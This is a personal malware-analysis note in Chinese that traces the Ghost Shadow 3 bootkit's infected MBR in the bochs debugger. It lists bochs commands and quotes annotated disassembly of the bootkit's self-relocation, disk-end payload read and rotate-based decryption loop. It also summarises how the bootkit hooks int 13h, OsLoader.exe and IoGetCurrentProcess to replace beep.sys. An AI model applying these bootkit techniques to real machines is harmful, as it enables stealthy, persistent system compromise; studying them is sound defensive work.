鬼影3分析笔记

article/2025/9/19 8:02:01

这是学习笔记,供自己再次调试回忆,别人看没什么价值,因为写的太乱了。而且有些点自己也没理清

前面是wowocock老师的文档

首先根据教程了解到感染好mbr之后存在磁盘最后的区段的信息有

1.ProtectMode Code是Hook了OsLoader.exe之后获得控制权时执行的代码。

2.Hello_tt.sys是病毒的主要驱动模块,Mbr最终实现是吧将Hello_tt.sys替换掉System32\Driver\Beep.sys,之后就可以顺利被系统加载。(Beep.sys是发声音的驱动)

3.OriMbr是系统原先的MBR,保存供恢复系统启动使用。

4.上面提到的都是要经过循环左移加密的数据,使用时候需要先解密

5.Alg.exe是鬼影3的应用层的病毒程序

Beep.sys

  1. 首先VirusMbr复制自身到内存当中,然后跳过去复制的内存当中执行。
  2. 通过int 13h的扩展读功能把病毒写在硬盘当中的内容复制到内存里,主要复制的是加密部分,包括保护模式代码,Hello_tt.sys和加密的系统原Mbr。
  3. 接下来对内存当中的加密内容进行解密,这样系统原Mbr也解密出来了。
  4. 对int 13h中断进行hook,之后把系统原Mbr加载到内存0x7c00处,返回执行系统原Mbr指令。
  5. 由于hook了int 13h中断,对于2h和42h子功能进行过滤,当系统加载ntldr文件的时候,对OsLoader.exe进行hook。
  6. 通过查找指定序列签名Hook OsLoader.exe,主要挂钩的地方是_BlLoadBootDriver@12处的下一句代码,之后OsLoader.exe执行的时候病毒会再次获得控制权。

7.当病毒再次获取到控制权,此时系统已近通过Startup.com切换到保护模式下了,病毒搜索OsLoader.exe的代码空间,获取_BlLoaderBlock地址,如图

红框圈起来是搜索代码的表示,最终获取的是415921 A1后的4个字节,即_BlLoaderBlock地址

8获取了_BlLoaderBlock之后,通过该结构得到ntoskrnl.exe的加载基址,查找IoGetCurrentProcess,对该函数进行Inline Hook,修改函数头部5字节,之后返回OsLoader.exe继续执行。

9.当系统调用IoGetCurrentPorcess的时候病毒重新获得控制权,此时病毒把自身复制到内核共享用户数据区当中(FFDF0800h处开始),然后跳转过去继续执行。

10.病毒对IoGetCurrentProcess的Inline Hook进行恢复,之后通过创建一个系统线程对beep.sys进行替换工作.这样就能保证病毒在操作系统完全加载之前获得执行权限了。

然后根据样本调试学习。

调试部分

使用bochs调试

常用的命令

执行控制指令

c/cont/continue

连续执行

s/step/stepi [count]

执行count条指令,默认为1条,会跟进到函数和中断调用的内部

p/n/next [count]

执行count条指令,默认为1条,但跳过函数和中断调用

Ctrl+C

停止执行,并回到命令行提示符下

q/quit/exit

退出调试和执行

断点设置命令

vb/vbreak seg:offset

在虚拟地址上设置指令断点,其中seg和offset可以是以0x开始的十六进制数,或十进制,或者是以0开头的八进制数

lb/lbreak addr

在线性地址上设置断点,addr同上面的seg和offset

b/break/pb/pbreak addr

在物理地址上设置断点

info break

显示当前所有断点的信息

d/del/delete n

删除一个断点

内存操作指令

x /nuf addr

检查位于线性地址addr处的内存内容

xp /nuf addr

检查位于物理地址addr处的内存内容

其中参数nuf分别表示:

n为要显示内存单元的计数值,默认为1

u
表示单元大小,默认值为w
   b
bytes       1字节
   hhalfwords   2字节
   wwords       4字节
   ggiantwords  8字节

f为显示格式,默认为x
   x
hex         显示为十六进制数
   ddecimal     显示为十进制数
   uunsigned    显示为无符号十进制数
   ooctal       显示为八进制数
   tbinary      显示为二进制数
   cchar  显示为对应的字符

信息显示和CPU寄存器操作命令

r/reg/regs/registers

列表显示CPU寄存器及其内容

set $reg=val

修改某寄存器的内容。除段寄存器和标志寄存器以外的寄存器都可以修改,如set $eax=0x01234567

creg

列出所有的CR0-CR4寄存器

sreg

列出CPU全部状态信息,包括各个段选择子(cs,ds等)以及ldtr和gdtr等。

print-stack

打印堆栈情况。

info tab

显示页表

反汇编命令

u/disasm/disassemble start end,反汇编给定线性地址范围的指令。也可以是u /10 反汇编从当前地址开始的10条指令。

下面开始动态调试

调试部分

Next at t=0
(0) [0x00000000fffffff0] f000:fff0 : jmp far f000:e05b         ; ea5be000f0
<bochs:1> pb 0x7c00
<bochs:2> c
(0) Breakpoint 1, 0x0000000000007c00 in ?? ()
Next at t=140913180
(0) [0x0000000000007c00] 0000:7c00 : jb .+3 (0x00007c05)       ; 7203花指令,就是jmp,干扰线性汇编
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0xffd6
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c00
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf
<bochs:3> p
Next at t=140913181
(0) [0x0000000000007c02] 0000:7c02 : jnb .+1 (0x00007c05)      ; 7301
<bochs:4> p
Next at t=140913182
(0) [0x0000000000007c05] 0000:7c05 : cli                       ; fa
<bochs:5> p
Next at t=140913183
(0) [0x0000000000007c06] 0000:7c06 : mov word ptr cs:0x600, es ; 2e8c060006
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0xffd6
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c06
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf
<bochs:6> p
Next at t=140913184
(0) [0x0000000000007c0b] 0000:7c0b : mov word ptr cs:0x602, sp ; 2e89260206
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0xffd6
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c0b
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf
<bochs:7> p
Next at t=140913185
(0) [0x0000000000007c10] 0000:7c10 : mov word ptr cs:0x604, ss ; 2e8c160406
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0xffd6
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c10
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf
<bochs:8> p
Next at t=140913186
(0) [0x0000000000007c15] 0000:7c15 : mov dword ptr cs:0x7fc, 0x00000800 ; 2e66c706fc0700080000
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0xffd6
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c15
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf
(0) [0x0000000000007c1f] 0000:7c1f : lss sp, cs:0x7fc          ; 2e0fb226fc07把后面地址的值直接送到前面寄存器里,根据下面查看的值就是把0x0800给sp,0x0000给cs
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0xffd6
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c1f
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf
<bochs:10> x /16xb 0x7fc
[bochs]:
0x00000000000007fc <bogus+       0>:    0x00    0x08    0x00    0x00    0xcd    0xcd    0xcd    0xcd
0x0000000000000804 <bogus+       8>:    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd
(0) [0x0000000000007c25] 0000:7c25 : pushad                    ; 6660寄存器入栈
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x0800
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c25
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf
<bochs:12> p
Next at t=140913189
(0) [0x0000000000007c27] 0000:7c27 : push ds                   ; 1e
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07e0
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c27
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf
<bochs:13> p
Next at t=140913190
(0) [0x0000000000007c28] 0000:7c28 : mov bx, word ptr cs:0x413 ; 2e8b1e1304; BIOS 0x413 内存记录区
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c28
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf
<bochs:14> p
Next at t=140913191
(0) [0x0000000000007c2d] 0000:7c2d : sub bx, 0x000d            ; 81eb0d00分配13KB
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x027f      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c2d
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf
<bochs:15> p
Next at t=140913192
(0) [0x0000000000007c31] 0000:7c31 : and bl, 0xfc              ; 80e3fc按4K页对齐
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0272      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c31
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000006: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af PF cf
<bochs:16> p
Next at t=140913193
(0) [0x0000000000007c34] 0000:7c34 : mov word ptr cs:0x413, bx ; 2e891e1304, 写回BIOS内存记录区
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0270      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c34
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
(0) [0x0000000000007c39] 0000:7c39 : shl bx, 0x06              ; c1e306计算段基址
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0270      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c39
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
(0) [0x0000000000007c3c] 0000:7c3c : mov es, bx                ; 8ec3存入ES段寄存器
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x9c00      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c3c
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000886: id vip vif ac vm rf nt IOPL=0 OF df if tf SF zf af PF cf
<bochs:19> p
Next at t=140913196
(0) [0x0000000000007c3e] 0000:7c3e : xor bx, bx                ; 31db
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x9c00      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c3e
es:0x9c00       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000886: id vip vif ac vm rf nt IOPL=0 OF df if tf SF zf af PF cf
(0) [0x0000000000007c40] 0000:7c40 : mov ax, 0x0201            ; b80102设置int 13的读扇区功能参数
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c40
es:0x9c00       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:21> p
Next at t=140913198
(0) [0x0000000000007c43] 0000:7c43 : mov cx, 0x0001            ; b90100将自身复制到申请的空间当中
CPU0:
ax: 0x0201      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c43
es:0x9c00       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:22> p
Next at t=140913199
(0) [0x0000000000007c46] 0000:7c46 : mov dx, 0x0080            ; ba8000
CPU0:
ax: 0x0201      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c46
es:0x9c00       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:23> p
Next at t=140913200
(0) [0x0000000000007c49] 0000:7c49 : int 0x13                  ; cd13
CPU0:
ax: 0x0201      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c49
es:0x9c00       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf

   根据int 13h,功能号ah=02h是读扇区

功能02H 
功能描述:读扇区 
入口参数:AH=02H 
AL=扇区数 
CH=柱面 
CL=扇区 
DH=磁头 
DL=驱动器,00H~7FH:软盘;80H~0FFH:硬盘 
ES:BX=缓冲区的地址 
所以这里是0柱面1扇区,0磁头,硬盘。读到缓冲区地址是0x9c00:0000

比如继续往下

<bochs:24> x /16xb 0x9c000
[bochs]:
0x000000000009c000 <bogus+       0>:    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd
0x000000000007c008 <bogus+       8>:    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd
<bochs:25> p
Next at t=140914268
(0) [0x0000000000007c4b] 0000:7c4b : jb .+3 (0x00007c50)       ; 7203es入栈
CPU0:
ax: 0x0001      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c4b
es:0x9c00       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:27> x /16xb 0x9c000
[bochs]:
0x000000000009c000 <bogus+       0>:    0x72    0x03    0x73    0x01    0x0a    0xfa    0x2e    0x8c
0x000000000009c008 <bogus+       8>:    0x06    0x00    0x06    0x2e    0x89    0x26    0x02    0x06

就读进去了。

 

(0) [0x0000000000007c4d] 0000:7c4d : jnb .+1 (0x00007c50)      ; 7301
<bochs:29> p
Next at t=140914270
(0) [0x0000000000007c50] 0000:7c50 : push es                   ; 06,es入栈
<bochs:30> p
Next at t=140914271
(0) [0x0000000000007c51] 0000:7c51 : push 0x0055               ; 685500,Offset入栈
CPU0:
ax: 0x0001      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07dc
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c51
es:0x9c00       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:31> p
Next at t=140914272
(0) [0x0000000000007c54] 0000:7c54 : retf                      ; cb,返回到es:offset,也就是int13将扇区读入的地方
CPU0:
ax: 0x0001      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07da
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x7c54
es:0x9c00       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf

retf就是far return,站上是es:0055,即9c055

<bochs:32> p
Next at t=140914273
(0) [0x000000000009c055] 9c00:0055 : push cs                   ; 0e

已经跳到其他位置了。

(0) [0x000000000009c056] 9c00:0056 : pop ds                    ; 1f
CPU0:
ax: 0x0001      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07dc
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x0056
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf

 push cs pop ds=mov ds,cs

x86寄存器不允许直接操作两个段寄存器,所以不能直接给,之恩能够通过通用寄存器。

(0) [0x000000000009c057] 9c00:0057 : mov si, 0x006c            ; be6c00
CPU0:
ax: 0x0001      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x0057
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:35> p
Next at t=140914276
(0) [0x000000000009c05a] 9c00:005a : mov ax, cs                ; 8cc8
CPU0:
ax: 0x0001      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x006c      di: 0xffac      ip: 0x005a
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:36> p
Next at t=140914277
(0) [0x000000000009c05c] 9c00:005c : mov word ptr ds:[si+6], ax ; 894406
CPU0:
ax: 0x9c00      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x006c      di: 0xffac      ip: 0x005c
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:37> p
Next at t=140914278
(0) [0x000000000009c05f] 9c00:005f : mov ah, 0x42              ; b442
CPU0:
ax: 0x9c00      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x006c      di: 0xffac      ip: 0x005f
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:38> p
Next at t=140914279
(0) [0x000000000009c061] 9c00:0061 : mov dl, 0x80              ; b280
CPU0:
ax: 0x4200      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x006c      di: 0xffac      ip: 0x0061
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:39> p
Next at t=140914280
(0) [0x000000000009c063] 9c00:0063 : int 0x13                  ; cd13
CPU0:
ax: 0x4200      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x006c      di: 0xffac      ip: 0x0063
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf


2) 扩展读
入口:
AH = 42h
DL =
驱动器号
DS:SI = 磁盘地址数据包(Disk Address Packet)

所以这里就是扩展读,硬盘,9c00:006c

<bochs:40> x /16xb 0x9c06c
[bochs]:
0x000000000009c06c <bogus+       0>:    0x10    0x00    0x14    0x00    0x00    0x02    0x00    0x9c
0x000000000009c074 <bogus+       8>:    0x36    0xe4    0x3f    0x01    0x00    0x00    0x00    0x00

这里的结构

struct DiskAddressPacket 
{ 
BYTE PacketSize; // 数据包尺寸(16字节) 
BYTE Reserved; // ==0 
WORD BlockCount; // 要传输的数据块个数(以扇区为单位) 
DWORD BufferAddr; // 传输缓冲地址(segment:offset) 
QWORD BlockNum; // 磁盘起始绝对块地址 
}; 

所以这里PackerSize=0x10,blockcount=0x14,bufferAddr=0x9c200,blockNum=0x13fe436,(从哪里读)这里就是磁盘最后的地方读。就是文字开头的那个

[bochs]:
0x000000000009c200 <bogus+       0>:    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd
0x000000000009c208 <bogus+       8>:    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd    0xcd
<bochs:42> p
Next at t=140920400
(0) [0x000000000009c065] 9c00:0065 : jb .+3 (0x0009c06a)       ; 7203
CPU0:
ax: 0x0000      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x006c      di: 0xffac      ip: 0x0065
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:43> x /16xb 0x9c200
[bochs]:
0x000000000009c200 <bogus+       0>:    0x00    0x00    0x00    0x00    0xe4    0x03    0x5c    0xe3
0x000000000009c208 <bogus+       8>:    0x21    0x21    0x0c    0x3f    0x00    0x00    0x87    0xff

就把磁盘最后木马数据读到高内存。

<bochs:44> p
Next at t=140920401
(0) [0x000000000009c067] 9c00:0067 : jnb .+1 (0x0009c06a)      ; 7301
<bochs:45> p
Next at t=140920402
(0) [0x000000000009c06a] 9c00:006a : jmp .+16 (0x0009c07c)     ; eb10
<bochs:46> p
Next at t=140920403
(0) [0x000000000009c07c] 9c00:007c : mov si, 0x009e            ; be9e00
(0) [0x000000000009c07c] 9c00:007c : mov si, 0x009e            ; be9e00

鬼影3本身的MBR当中的部分数据是加密的,从9E处代码开始,这里进行初始话然后用

(0) [0x000000000009c07f] 9c00:007f : mov cx, 0x2762            ; b96227,0x9E + 0x2762 = 0x2800,解密的数据长度,0x2800是一个很熟悉的数
CPU0:
ax: 0x0000      cx: 0x0001      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x009e      di: 0xffac      ip: 0x007f
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:48> p
Next at t=140920405
(0) [0x000000000009c082] 9c00:0082 : push cx                   ; 51
CPU0:
ax: 0x0000      cx: 0x2762      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x009e      di: 0xffac      ip: 0x0082
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:49> p
Next at t=140920406
(0) [0x000000000009c083] 9c00:0083 : mov al, byte ptr ds:[si]  ; 8a04
CPU0:
ax: 0x0000      cx: 0x2762      dx: 0x0080      bx: 0x0000      sp: 0x07dc
bp: 0x0000      si: 0x009e      di: 0xffac      ip: 0x0083
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
(0) [0x000000000009c085] 9c00:0085 : or al, al                 ; 08c0,如果是0就不用解密了,0经过移位仍然是0
CPU0:
ax: 0x0043      cx: 0x2762      dx: 0x0080      bx: 0x0000      sp: 0x07dc
bp: 0x0000      si: 0x009e      di: 0xffac      ip: 0x0085
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf

然后是花指令

<bochs:51> p
Next at t=140920408
(0) [0x000000000009c087] 9c00:0087 : jz .+17 (0x0009c09a)      ; 7411
CPU0:
ax: 0x0043      cx: 0x2762      dx: 0x0080      bx: 0x0000      sp: 0x07dc
bp: 0x0000      si: 0x009e      di: 0xffac      ip: 0x0087
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:52> p
Next at t=140920409
(0) [0x000000000009c089] 9c00:0089 : jb .+3 (0x0009c08e)       ; 7203
<bochs:53> p
Next at t=140920410
(0) [0x000000000009c08b] 9c00:008b : jnb .+1 (0x0009c08e)      ; 7301

 

(0) [0x000000000009c08e] 9c00:008e : mov cx, 0x0073            ; b97300
<bochs:55> p
Next at t=140920412
(0) [0x000000000009c091] 9c00:0091 : jb .+3 (0x0009c096)       ; 7203
CPU0:
ax: 0x0043      cx: 0x0073      dx: 0x0080      bx: 0x0000      sp: 0x07dc
bp: 0x0000      si: 0x009e      di: 0xffac      ip: 0x0091
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:56> p
Next at t=140920413
(0) [0x000000000009c093] 9c00:0093 : jnb .+1 (0x0009c096)      ; 7301
<bochs:57> p
Next at t=140920414
(0) [0x000000000009c096] 9c00:0096 : ror al, cl                ; d2c8
<bochs:58> p
Next at t=140920415
(0) [0x000000000009c098] 9c00:0098 : mov byte ptr ds:[si], al  ; 8804
CPU0:
ax: 0x0068      cx: 0x0073      dx: 0x0080      bx: 0x0000      sp: 0x07dc
bp: 0x0000      si: 0x009e      di: 0xffac      ip: 0x0098
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000802: id vip vif ac vm rf nt IOPL=0 OF df if tf sf zf af pf cf
<bochs:59> p
Next at t=140920416
(0) [0x000000000009c09a] 9c00:009a : inc si                    ; 46
CPU0:
ax: 0x0068      cx: 0x0073      dx: 0x0080      bx: 0x0000      sp: 0x07dc
bp: 0x0000      si: 0x009e      di: 0xffac      ip: 0x009a
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000802: id vip vif ac vm rf nt IOPL=0 OF df if tf sf zf af pf cf
<bochs:60> p
Next at t=140920417
(0) [0x000000000009c09b] 9c00:009b : pop cx                    ; 59
CPU0:
ax: 0x0068      cx: 0x0073      dx: 0x0080      bx: 0x0000      sp: 0x07dc
bp: 0x0000      si: 0x009f      di: 0xffac      ip: 0x009b
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000006: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af PF cf
<bochs:61> p
Next at t=140920418
(0) [0x000000000009c09c] 9c00:009c : loop .-28 (0x0009c082)    ; e2e4
CPU0:
ax: 0x0068      cx: 0x2762      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x009f      di: 0xffac      ip: 0x009c
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000006: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af PF cf

这里,是在进行解密。

seg000:007C                 mov     si, 9Eh ; '   ; 鬼影3本身的MBR当中的部分数据是加密的

seg000:007C                                         ; 从9E处代码开始,这里进行初始话然后用

seg000:007C                                         ; 一个LOOP进行解密,

seg000:007F                 mov     cx, 2762h       ; 0x9E + 0x2762 = 0x2800

seg000:007F                                         ; 解密的数据长度,0x2800是一个很熟悉的数据

seg000:0082

seg000:0082 loc_82:                                 ; CODE XREF: seg000:009C↓j

seg000:0082                 push    cx

seg000:0083                 mov     al, [si]

seg000:0085                 or      al, al          ; 如果是0就不用解密了,0经过移位仍然是0

seg000:0087                 jz      short loc_9A

seg000:0089                 jb      short loc_8E    ; 移位位数,0x73%8 = 3,相当于3位

seg000:008B                 jnb     short loc_8E    ; 移位位数,0x73%8 = 3,相当于3位

seg000:008B ; ---------------------------------------------------------------------------

seg000:008D                 db    3

seg000:008E ; ---------------------------------------------------------------------------

seg000:008E

seg000:008E loc_8E:                                 ; CODE XREF: seg000:0089↑j

seg000:008E                                         ; seg000:008B↑j

seg000:008E                 mov     cx, 73h ; 's'   ; 移位位数,0x73%8 = 3,相当于3位

seg000:0091                 jb      short loc_96    ; 循环右移3位

seg000:0093                 jnb     short loc_96    ; 循环右移3位

seg000:0093 ; ---------------------------------------------------------------------------

seg000:0095                 db    4

seg000:0096 ; ---------------------------------------------------------------------------

seg000:0096

seg000:0096 loc_96:                                 ; CODE XREF: seg000:0091↑j

seg000:0096                                         ; seg000:0093↑j

seg000:0096                 ror     al, cl          ; 循环右移3位

seg000:0098                 mov     [si], al        ; 写回内存当中

seg000:009A

seg000:009A loc_9A:                                 ; CODE XREF: seg000:0087↑j

seg000:009A                 inc     si

seg000:009B                 pop     cx              ; cx控制循环次数,利用push和pop保护

seg000:009C                 loop    loc_82          ; 循环解密

所以我们要跳过解密,在后面下断点。根据loop在0x9c09c,opcode2字节,所以下断在他后面0x9c09e

<bochs:62> pb 0x9c09e
<bochs:63> c
